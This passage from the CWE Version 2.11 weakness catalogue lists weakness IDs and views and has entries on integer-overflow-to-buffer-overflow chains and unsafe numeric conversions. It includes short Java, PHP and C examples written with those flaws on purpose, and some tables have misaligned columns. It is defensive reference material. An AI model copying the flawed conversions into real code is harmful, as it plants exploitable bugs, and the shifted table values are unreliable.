<td>DEPRECATED (Duplicate): Covert Timing Channel</td>
</tr>
<tr>
<td>B</td>
<td>521</td>
<td>Weak Password Requirements</td>
</tr>
<tr>
<td>B</td>
<td>522</td>
<td>Insufficiently Protected Credentials</td>
</tr>
<tr>
<td>B</td>
<td>538</td>
<td>File and Directory Information Exposure</td>
</tr>
<tr>
<td>B</td>
<td>544</td>
<td>Missing Standardized Error Handling Mechanism</td>
</tr>
<tr>
<td>B</td>
<td>551</td>
<td>Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
</tr>
<tr>
<td>B</td>
<td>552</td>
<td>Files or Directories Accessible to External Parties</td>
</tr>
<tr>
<td>B</td>
<td>562</td>
<td>Return of Stack Variable Address</td>
</tr>
<tr>
<td>B</td>
<td>565</td>
<td>Reliance on Cookies without Validation and Integrity Checking</td>
</tr>
<tr>
<td>B</td>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
</tr>
<tr>
<td>B</td>
<td>581</td>
<td>Object Model Violation: Just One of Equals and Hashcode Defined</td>
</tr>
<tr>
<td>B</td>
<td>584</td>
<td>Return Inside Finally Block</td>
</tr>
<tr>
<td>B</td>
<td>587</td>
<td>Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>B</td>
<td>595</td>
<td>Comparison of Object References Instead of Object Contents</td>
</tr>
<tr>
<td>B</td>
<td>596</td>
<td>Incorrect Semantic Object Comparison</td>
</tr>
<tr>
<td>B</td>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
</tr>
<tr>
<td>B</td>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
</tr>
<tr>
<td>B</td>
<td>603</td>
<td>Use of Client-Side Authentication</td>
</tr>
<tr>
<td>B</td>
<td>605</td>
<td>Multiple Binds to the Same Port</td>
</tr>
<tr>
<td>B</td>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
</tr>
<tr>
<td>B</td>
<td>609</td>
<td>Double-Checked Locking</td>
</tr>
<tr>
<td>B</td>
<td>613</td>
<td>Insufficient Session Expiration</td>
</tr>
<tr>
<td>B</td>
<td>618</td>
<td>Exposed Unsafe ActiveX Method</td>
</tr>
<tr>
<td>B</td>
<td>619</td>
<td>Dangling Database Cursor (‘Cursor Injection’)</td>
</tr>
<tr>
<td>B</td>
<td>621</td>
<td>Variable Extraction Error</td>
</tr>
<tr>
<td>B</td>
<td>624</td>
<td>Executable Regular Expression Error</td>
</tr>
<tr>
<td>B</td>
<td>625</td>
<td>Permissive Regular Expression</td>
</tr>
<tr>
<td>B</td>
<td>627</td>
<td>Dynamic Variable Evaluation</td>
</tr>
<tr>
<td>B</td>
<td>628</td>
<td>Function Call with Incorrectly Specified Arguments</td>
</tr>
<tr>
<td>B</td>
<td>639</td>
<td>Authorization Bypass Through User-Controlled Key</td>
</tr>
<tr>
<td>B</td>
<td>640</td>
<td>Weak Password Recovery Mechanism for Forgotten Password</td>
</tr>
<tr>
<td>B</td>
<td>641</td>
<td>Improper Restriction of Names for Files and Other Resources</td>
</tr>
<tr>
<td>B</td>
<td>643</td>
<td>Improper Neutralization of Data within XPath Expressions (‘XPath Injection’)</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>4</td>
<td>645</td>
<td>Overly Restrictive Account Lockout Mechanism</td>
</tr>
<tr>
<td>4</td>
<td>648</td>
<td>Incorrect Use of Privileged APIs</td>
</tr>
<tr>
<td>4</td>
<td>649</td>
<td>Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking</td>
</tr>
<tr>
<td>5</td>
<td>652</td>
<td>Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')</td>
</tr>
<tr>
<td>5</td>
<td>653</td>
<td>Insufficient Compartmentalization</td>
</tr>
<tr>
<td>5</td>
<td>654</td>
<td>Reliance on a Single Factor in a Security Decision</td>
</tr>
<tr>
<td>5</td>
<td>655</td>
<td>Insufficient Psychological Acceptability</td>
</tr>
<tr>
<td>5</td>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
</tr>
<tr>
<td>5</td>
<td>662</td>
<td>Improper Synchronization</td>
</tr>
<tr>
<td>5</td>
<td>663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
</tr>
<tr>
<td>5</td>
<td>666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
</tr>
<tr>
<td>5</td>
<td>667</td>
<td>Improper Locking</td>
</tr>
<tr>
<td>5</td>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
</tr>
<tr>
<td>5</td>
<td>674</td>
<td>Uncontrolled Recursion</td>
</tr>
<tr>
<td>5</td>
<td>676</td>
<td>Use of Potentially Dangerous Function</td>
</tr>
<tr>
<td>5</td>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
</tr>
<tr>
<td>5</td>
<td>684</td>
<td>Incorrect Provision of Specified Functionality</td>
</tr>
<tr>
<td>5</td>
<td>694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
</tr>
<tr>
<td>5</td>
<td>695</td>
<td>Use of Low-Level Functionality</td>
</tr>
<tr>
<td>5</td>
<td>698</td>
<td>Execution After Redirect (EAR)</td>
</tr>
<tr>
<td>5</td>
<td>708</td>
<td>Incorrect Ownership Assignment</td>
</tr>
<tr>
<td>5</td>
<td>733</td>
<td>Compiler Optimization Removal or Modification of Security-critical Code</td>
</tr>
<tr>
<td>5</td>
<td>749</td>
<td>Exposed Dangerous Method or Function</td>
</tr>
<tr>
<td>5</td>
<td>759</td>
<td>Use of a One-Way Hash without a Salt</td>
</tr>
<tr>
<td>5</td>
<td>760</td>
<td>Use of a One-Way Hash with a Predictable Salt</td>
</tr>
<tr>
<td>5</td>
<td>763</td>
<td>Release of Invalid Pointer or Reference</td>
</tr>
<tr>
<td>5</td>
<td>770</td>
<td>Allocation of Resources Without Limits or Throttling</td>
</tr>
<tr>
<td>5</td>
<td>771</td>
<td>Missing Reference to Active Allocated Resource</td>
</tr>
<tr>
<td>5</td>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
</tr>
<tr>
<td>5</td>
<td>778</td>
<td>Insufficient Logging</td>
</tr>
<tr>
<td>5</td>
<td>779</td>
<td>Logging of Excessive Data</td>
</tr>
<tr>
<td>5</td>
<td>786</td>
<td>Access of Memory Location Before Start of Buffer</td>
</tr>
<tr>
<td>5</td>
<td>787</td>
<td>Out-of-bounds Write</td>
</tr>
<tr>
<td>5</td>
<td>788</td>
<td>Access of Memory Location After End of Buffer</td>
</tr>
<tr>
<td>5</td>
<td>791</td>
<td>Incomplete Filtering of Special Elements</td>
</tr>
<tr>
<td>5</td>
<td>795</td>
<td>Only Filtering Special Elements at a Specified Location</td>
</tr>
<tr>
<td>5</td>
<td>798</td>
<td>Use of Hard-coded Credentials</td>
</tr>
<tr>
<td>5</td>
<td>804</td>
<td>Guessable CAPTCHA</td>
</tr>
<tr>
<td>5</td>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
</tr>
<tr>
<td>5</td>
<td>807</td>
<td>Reliance on Untrusted Inputs in a Security Decision</td>
</tr>
<tr>
<td>5</td>
<td>820</td>
<td>Missing Synchronization</td>
</tr>
<tr>
<td>5</td>
<td>821</td>
<td>Incorrect Synchronization</td>
</tr>
<tr>
<td>5</td>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
</tr>
<tr>
<td>5</td>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
</tr>
<tr>
<td>5</td>
<td>824</td>
<td>Access of Uninitialized Pointer</td>
</tr>
<tr>
<td>5</td>
<td>825</td>
<td>Expired Pointer Dereference</td>
</tr>
<tr>
<td>5</td>
<td>826</td>
<td>Premature Release of Resource During Expected Lifetime</td>
</tr>
<tr>
<td>5</td>
<td>827</td>
<td>Improper Control of Document Type Definition</td>
</tr>
<tr>
<td>5</td>
<td>828</td>
<td>Signal Handler with Functionality that is not Asynchronous-Safe</td>
</tr>
<tr>
<td>5</td>
<td>830</td>
<td>Inclusion of Web Functionality from an Untrusted Source</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-678: Composites

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>831</td>
<td></td>
<td>Signal Handler Function Associated with Multiple Signals</td>
</tr>
<tr>
<td>832</td>
<td></td>
<td>Unlock of a Resource that is not Locked</td>
</tr>
<tr>
<td>833</td>
<td></td>
<td>Deadlock</td>
</tr>
<tr>
<td>834</td>
<td></td>
<td>Excessive Iteration</td>
</tr>
<tr>
<td>835</td>
<td></td>
<td>Loop with Unreachable Exit Condition ('Infinite Loop')</td>
</tr>
<tr>
<td>836</td>
<td></td>
<td>Use of Password Hash Instead of Password for Authentication</td>
</tr>
<tr>
<td>837</td>
<td></td>
<td>Improper Enforcement of a Single, Unique Action</td>
</tr>
<tr>
<td>838</td>
<td></td>
<td>Inappropriate Encoding for Output Context</td>
</tr>
<tr>
<td>839</td>
<td></td>
<td>Numeric Range Comparison Without Minimum Check</td>
</tr>
<tr>
<td>841</td>
<td></td>
<td>Improper Enforcement of Behavioral Workflow</td>
</tr>
<tr>
<td>842</td>
<td></td>
<td>Placement of User into Incorrect Group</td>
</tr>
<tr>
<td>843</td>
<td></td>
<td>Access of Resource Using Incompatible Type ('Type Confusion')</td>
</tr>
<tr>
<td>908</td>
<td></td>
<td>Use of Uninitialized Resource</td>
</tr>
<tr>
<td>909</td>
<td></td>
<td>Missing Initialization of Resource</td>
</tr>
<tr>
<td>910</td>
<td></td>
<td>Use of Expired File Descriptor</td>
</tr>
<tr>
<td>911</td>
<td></td>
<td>Improper Update of Reference Count</td>
</tr>
<tr>
<td>914</td>
<td></td>
<td>Improper Control of Dynamically-Identified Variables</td>
</tr>
<tr>
<td>915</td>
<td></td>
<td>Improperly Controlled Modification of Dynamically-Determined Object Attributes</td>
</tr>
<tr>
<td>916</td>
<td></td>
<td>Use of Password Hash With Insufficient Computational Effort</td>
</tr>
<tr>
<td>917</td>
<td></td>
<td>Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')</td>
</tr>
<tr>
<td>918</td>
<td></td>
<td>Server-Side Request Forgery (SSRF)</td>
</tr>
<tr>
<td>920</td>
<td></td>
<td>Improper Restriction of Power Consumption</td>
</tr>
<tr>
<td>921</td>
<td></td>
<td>Storage of Sensitive Data in a Mechanism without Access Control</td>
</tr>
<tr>
<td>939</td>
<td></td>
<td>Improper Authorization in Handler for Custom URL Scheme</td>
</tr>
<tr>
<td>940</td>
<td></td>
<td>Improper Verification of Source of a Communication Channel</td>
</tr>
<tr>
<td>941</td>
<td></td>
<td>Incorrectly Specified Destination in a Communication Channel</td>
</tr>
</tbody>
</table>

CWE-678: Composites

**View ID:** 678 (View: Graph)  **Status:** Draft

**Objective**

This view (graph) displays only composite weaknesses.

**View Data**

**Filter Used:**

`://@Compound_Element_Structure='Composite'

**View Metrics**

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>5</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>0</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>0</td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>5</td>
</tr>
</tbody>
</table>

**CWEs Included in this View**

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>61</td>
<td></td>
<td>UNIX Symbolic Link (Symlink) Following</td>
</tr>
<tr>
<td>352</td>
<td></td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>384</td>
<td></td>
<td>Session Fixation</td>
</tr>
<tr>
<td>426</td>
<td></td>
<td>Untrusted Search Path</td>
</tr>
<tr>
<td>689</td>
<td></td>
<td>Permission Race Condition During Resource Copy</td>
</tr>
</tbody>
</table>

CWE-679: Chain Elements
View ID: 679 (View: Implicit Slice)  
Status: Draft

Objective

This view (slice) displays only weakness elements that are part of a chain.

View Data

Filter Used:

(./Relationship_Nature='CanPrecede') or (@ID = //Relationship_Target_ID[../Relationship_Nature='CanPrecede'])

View Metrics

<table>
<thead>
<tr>
<th></th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total Views</td>
<td>127 out of 1006</td>
<td></td>
</tr>
<tr>
<td>Categories</td>
<td>1 out of 245</td>
<td></td>
</tr>
<tr>
<td>Weaknesses</td>
<td>126 out of 720</td>
<td></td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>0 out of 8</td>
<td></td>
</tr>
</tbody>
</table>

CWEs Included in this View

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>20</td>
<td>Improper Input Validation</td>
</tr>
<tr>
<td></td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
</tr>
<tr>
<td></td>
<td>33</td>
<td>Path Traversal: '....' (Multiple Dot)</td>
</tr>
<tr>
<td></td>
<td>34</td>
<td>Path Traversal: '....//'</td>
</tr>
<tr>
<td></td>
<td>35</td>
<td>Path Traversal: '.../...//</td>
</tr>
<tr>
<td></td>
<td>41</td>
<td>Improper Resolution of Path Equivalence</td>
</tr>
<tr>
<td></td>
<td>46</td>
<td>Path Equivalence: 'filename ' (Trailing Space)</td>
</tr>
<tr>
<td></td>
<td>52</td>
<td>Path Equivalence: '/multiple/trailing/ slash//'</td>
</tr>
<tr>
<td></td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
</tr>
<tr>
<td></td>
<td>73</td>
<td>External Control of File Name or Path</td>
</tr>
<tr>
<td></td>
<td>74</td>
<td>Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')</td>
</tr>
<tr>
<td></td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
</tr>
<tr>
<td></td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
</tr>
<tr>
<td></td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
</tr>
<tr>
<td></td>
<td>93</td>
<td>Improper Neutralization of CRLF Sequences ('CRLF Injection')</td>
</tr>
<tr>
<td></td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
</tr>
<tr>
<td></td>
<td>98</td>
<td>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</td>
</tr>
<tr>
<td></td>
<td>113</td>
<td>Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')</td>
</tr>
<tr>
<td></td>
<td>116</td>
<td>Improper Encoding or Escaping of Output</td>
</tr>
<tr>
<td></td>
<td>117</td>
<td>Improper Output Neutralization for Logs</td>
</tr>
<tr>
<td></td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
</tr>
<tr>
<td></td>
<td>120</td>
<td>Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')</td>
</tr>
<tr>
<td></td>
<td>123</td>
<td>Write-what-where Condition</td>
</tr>
<tr>
<td></td>
<td>124</td>
<td>Buffer Underwrite ('Buffer Underflow')</td>
</tr>
<tr>
<td></td>
<td>125</td>
<td>Out-of-bounds Read</td>
</tr>
<tr>
<td></td>
<td>126</td>
<td>Buffer Over-read</td>
</tr>
<tr>
<td></td>
<td>128</td>
<td>Wrap-around Error</td>
</tr>
<tr>
<td></td>
<td>129</td>
<td>Improper Validation of Array Index</td>
</tr>
<tr>
<td></td>
<td>130</td>
<td>Improper Handling of Length Parameter Inconsistency</td>
</tr>
<tr>
<td></td>
<td>131</td>
<td>Incorrect Calculation of Buffer Size</td>
</tr>
<tr>
<td></td>
<td>170</td>
<td>Improper Null Termination</td>
</tr>
<tr>
<td></td>
<td>171</td>
<td>Cleansing, Canonicalization, and Comparison Errors</td>
</tr>
<tr>
<td></td>
<td>172</td>
<td>Encoding Error</td>
</tr>
</tbody>
</table>
## CWE-679: Chain Elements

<table>
<thead>
<tr>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>🔄</td>
<td>173</td>
<td>Improper Handling of Alternate Encoding</td>
</tr>
<tr>
<td>🔄</td>
<td>178</td>
<td>Improper Handling of Case Sensitivity</td>
</tr>
<tr>
<td>🔄</td>
<td>182</td>
<td>Collapse of Data into Unsafe Value</td>
</tr>
<tr>
<td>🔄</td>
<td>183</td>
<td>Permissive Whitelist</td>
</tr>
<tr>
<td>🔄</td>
<td>184</td>
<td>Incomplete Blacklist</td>
</tr>
<tr>
<td>🔄</td>
<td>185</td>
<td>Incorrect Regular Expression</td>
</tr>
<tr>
<td>🔄</td>
<td>187</td>
<td>Partial Comparison</td>
</tr>
<tr>
<td>🔄</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
</tr>
<tr>
<td>🔄</td>
<td>193</td>
<td>Off-by-one Error</td>
</tr>
<tr>
<td>🔄</td>
<td>195</td>
<td>Signed to Unsigned Conversion Error</td>
</tr>
<tr>
<td>🔄</td>
<td>200</td>
<td>Information Exposure</td>
</tr>
<tr>
<td>🔄</td>
<td>208</td>
<td>Information Exposure Through Timing Discrepancy</td>
</tr>
<tr>
<td>🔄</td>
<td>209</td>
<td>Information Exposure Through an Error Message</td>
</tr>
<tr>
<td>🔄</td>
<td>219</td>
<td>Sensitive Data Under Web Root</td>
</tr>
<tr>
<td>🔄</td>
<td>231</td>
<td>Improper Handling of Extra Values</td>
</tr>
<tr>
<td>🔄</td>
<td>242</td>
<td>Use of Inherently Dangerous Function</td>
</tr>
<tr>
<td>🔄</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release ('Heap Inspection')</td>
</tr>
<tr>
<td>🔄</td>
<td>252</td>
<td>Unchecked Return Value</td>
</tr>
<tr>
<td>🔄</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
</tr>
<tr>
<td>🔄</td>
<td>287</td>
<td>Improper Authentication</td>
</tr>
<tr>
<td>🔄</td>
<td>289</td>
<td>Authentication Bypass by Alternate Name</td>
</tr>
<tr>
<td>🔄</td>
<td>321</td>
<td>Use of Hard-coded Cryptographic Key</td>
</tr>
<tr>
<td>🔄</td>
<td>327</td>
<td>Use of a Broken or Risky Cryptographic Algorithm</td>
</tr>
<tr>
<td>🔄</td>
<td>350</td>
<td>Reliance on Reverse DNS Resolution for a Security-Critical Action</td>
</tr>
<tr>
<td>🔄</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
</tr>
<tr>
<td>🔄</td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
</tr>
<tr>
<td>🔄</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
</tr>
<tr>
<td>🔄</td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
</tr>
<tr>
<td>🔄</td>
<td>390</td>
<td>Detection of Error Condition Without Action</td>
</tr>
<tr>
<td>🔄</td>
<td>400</td>
<td>Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
</tr>
<tr>
<td>🔄</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
</tr>
<tr>
<td>🔄</td>
<td>406</td>
<td>Insufficient Control of Network Message Volume (Network Amplification)</td>
</tr>
<tr>
<td>🔄</td>
<td>410</td>
<td>Insufficient Resource Pool</td>
</tr>
<tr>
<td>🔄</td>
<td>415</td>
<td>Double Free</td>
</tr>
<tr>
<td>🔄</td>
<td>416</td>
<td>Use After Free</td>
</tr>
<tr>
<td>🔄</td>
<td>425</td>
<td>Direct Request ('Forced Browsing')</td>
</tr>
<tr>
<td>🔄</td>
<td>430</td>
<td>Deployment of Wrong Handler</td>
</tr>
<tr>
<td>🔄</td>
<td>431</td>
<td>Missing Handler</td>
</tr>
<tr>
<td>🔄</td>
<td>433</td>
<td>Unparsed Raw Web Content Delivery</td>
</tr>
<tr>
<td>🔄</td>
<td>434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>🔄</td>
<td>441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
</tr>
<tr>
<td>🔄</td>
<td>456</td>
<td>Missing Initialization of a Variable</td>
</tr>
<tr>
<td>🔄</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>🔄</td>
<td>467</td>
<td>Use of sizeof() on a Pointer Type</td>
</tr>
<tr>
<td>🔄</td>
<td>471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
</tr>
<tr>
<td>🔄</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
</tr>
<tr>
<td>🔄</td>
<td>473</td>
<td>PHP External Variable Modification</td>
</tr>
<tr>
<td>🔄</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>🔄</td>
<td>479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
<tr>
<td>🔄</td>
<td>481</td>
<td>Assigning instead of Comparing</td>
</tr>
<tr>
<td>Type</td>
<td>ID</td>
<td>Name</td>
</tr>
<tr>
<td>------</td>
<td>-----</td>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td>488</td>
<td>Exposure of Data Element to Wrong Session</td>
<td></td>
</tr>
<tr>
<td>494</td>
<td>Download of Code Without Integrity Check</td>
<td></td>
</tr>
<tr>
<td>498</td>
<td>Cloneable Class Containing Sensitive Information</td>
<td></td>
</tr>
<tr>
<td>499</td>
<td>Serializable Class Containing Sensitive Data</td>
<td></td>
</tr>
<tr>
<td>562</td>
<td>Return of Stack Variable Address</td>
<td></td>
</tr>
<tr>
<td>567</td>
<td>Unsynchronized Access to Shared Data in a Multithreaded Context</td>
<td></td>
</tr>
<tr>
<td>590</td>
<td>Free of Memory not on the Heap</td>
<td></td>
</tr>
<tr>
<td>600</td>
<td>Uncaught Exception in Servlet</td>
<td></td>
</tr>
<tr>
<td>602</td>
<td>Client-Side Enforcement of Server-Side Security</td>
<td></td>
</tr>
<tr>
<td>606</td>
<td>Unchecked Input for Loop Condition</td>
<td></td>
</tr>
<tr>
<td>609</td>
<td>Double-Checked Locking</td>
<td></td>
</tr>
<tr>
<td>613</td>
<td>Insufficient Session Expiration</td>
<td></td>
</tr>
<tr>
<td>617</td>
<td>Reachable Assertion</td>
<td></td>
</tr>
<tr>
<td>621</td>
<td>Variable Extraction Error</td>
<td></td>
</tr>
<tr>
<td>656</td>
<td>Reliance on Security Through Obscurity</td>
<td></td>
</tr>
<tr>
<td>662</td>
<td>Improper Synchronization</td>
<td></td>
</tr>
<tr>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td></td>
</tr>
<tr>
<td>669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td></td>
</tr>
<tr>
<td>672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td></td>
</tr>
<tr>
<td>681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td></td>
</tr>
<tr>
<td>682</td>
<td>Incorrect Calculation</td>
<td></td>
</tr>
<tr>
<td>697</td>
<td>Insufficient Comparison</td>
<td></td>
</tr>
<tr>
<td>756</td>
<td>Missing Custom Error Page</td>
<td></td>
</tr>
<tr>
<td>772</td>
<td>Missing Release of Resource after Effective Lifetime</td>
<td></td>
</tr>
<tr>
<td>776</td>
<td>Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')</td>
<td></td>
</tr>
<tr>
<td>781</td>
<td>Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code</td>
<td></td>
</tr>
<tr>
<td>782</td>
<td>Exposed IOCTL with Insufficient Access Control</td>
<td></td>
</tr>
<tr>
<td>787</td>
<td>Out-of-bounds Write</td>
<td></td>
</tr>
<tr>
<td>789</td>
<td>Uncontrolled Memory Allocation</td>
<td></td>
</tr>
<tr>
<td>805</td>
<td>Buffer Access with Incorrect Length Value</td>
<td></td>
</tr>
<tr>
<td>822</td>
<td>Untrusted Pointer Dereference</td>
<td></td>
</tr>
<tr>
<td>823</td>
<td>Use of Out-of-range Pointer Offset</td>
<td></td>
</tr>
<tr>
<td>824</td>
<td>Access of Uninitialized Pointer</td>
<td></td>
</tr>
<tr>
<td>825</td>
<td>Expired Pointer Dereference</td>
<td></td>
</tr>
<tr>
<td>826</td>
<td>Premature Release of Resource During Expected Lifetime</td>
<td></td>
</tr>
<tr>
<td>827</td>
<td>Improper Control of Document Type Definition</td>
<td></td>
</tr>
<tr>
<td>834</td>
<td>Excessive Iteration</td>
<td></td>
</tr>
<tr>
<td>839</td>
<td>Numeric Range Comparison Without Minimum Check</td>
<td></td>
</tr>
<tr>
<td>843</td>
<td>Access of Resource Using Incompatible Type ('Type Confusion')</td>
<td></td>
</tr>
<tr>
<td>908</td>
<td>Use of Uninitialized Resource</td>
<td></td>
</tr>
<tr>
<td>909</td>
<td>Missing Initialization of Resource</td>
<td></td>
</tr>
<tr>
<td>911</td>
<td>Improper Update of Reference Count</td>
<td></td>
</tr>
<tr>
<td>923</td>
<td>Improper Restriction of Communication Channel to Intended Endpoints</td>
<td></td>
</tr>
<tr>
<td>941</td>
<td>Incorrectly Specified Destination in a Communication Channel</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-680: Integer Overflow to Buffer Overflow**

**Compound Element ID:** 680 *(Compound Element Base: Chain)*

**Status:** Draft

**Description**

**Summary**
The product performs a calculation to determine how much memory to allocate, but an integer overflow can occur that causes less memory to be allocated than expected, leading to a buffer overflow.

**Applicable Platforms**

**Languages**
- All

**Common Consequences**

- Integrity
- Availability
- Confidentiality
- Modify memory
- DoS: crash / exit / restart
- Execute unauthorized code or commands

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>[V]</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>[V]</td>
<td>1000</td>
<td>18</td>
</tr>
<tr>
<td>ChildOf</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>699</td>
<td>226</td>
<td></td>
</tr>
<tr>
<td>StartsWith</td>
<td>190</td>
<td>Integer Overflow or Wraparound</td>
<td>709</td>
<td>680</td>
<td>361</td>
</tr>
</tbody>
</table>

**Relevant Properties**

- Validity

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>8</td>
<td>Buffer Overflow in an API Call</td>
<td></td>
</tr>
<tr>
<td>9</td>
<td>Buffer Overflow in Local Command-Line Utilities</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>Buffer Overflow via Environment Variables</td>
<td></td>
</tr>
<tr>
<td>14</td>
<td>Client-side Injection-induced Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>24</td>
<td>Filter Failure through Buffer Overflow</td>
<td></td>
</tr>
<tr>
<td>45</td>
<td>Buffer Overflow via Symbolic Links</td>
<td></td>
</tr>
<tr>
<td>46</td>
<td>Overflow Variables and Tags</td>
<td></td>
</tr>
<tr>
<td>47</td>
<td>Buffer Overflow via Parameter Expansion</td>
<td></td>
</tr>
<tr>
<td>67</td>
<td>String Format Overflow in syslog()</td>
<td></td>
</tr>
<tr>
<td>92</td>
<td>Forced Integer Overflow</td>
<td></td>
</tr>
<tr>
<td>100</td>
<td>Overflow Buffers</td>
<td></td>
</tr>
</tbody>
</table>

**CWE-681: Incorrect Conversion between Numeric Types**

**Weakness ID:** 681 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

**Time of Introduction**

- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

- Other
- Integrity
- Unexpected state
- Quality degradation

The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.
Likelihood of Exploit
Medium to High

Demonstrative Examples

Example 1:
In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

Java Example:

```
int i = (int) 33457.8f;
```

Example 2:
This code adds a float and an integer together, casting the result to an integer.

PHP Example:

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making $result = 4.8345. After the cast to int, it is reasonable to expect PHP to follow rounding convention and set $result = 5. However, the explicit cast to int always rounds DOWN, so the final value of $result is 4. This behavior may have unintended consequences.

Example 3:
In this example the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned int, amount will be implicitly converted to unsigned.

C Example:

```
unsigned int readdata () {
    int amount = 0;
    ...
    if (result == ERROR)
        amount = -1;
    ...
    return amount;
}
```

If the error condition in the code above is met, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Example 4:
In this example, depending on the return value of accessmainframe(), the variable amount can hold a negative value when it is returned. Because the function is declared to return an unsigned value, amount will be implicitly cast to an unsigned number.

C Example:

```
unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}
```

If the return value of accessmainframe() is -1, then the return value of readdata() will be 4,294,967,295 on a system that uses 32-bit integers.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
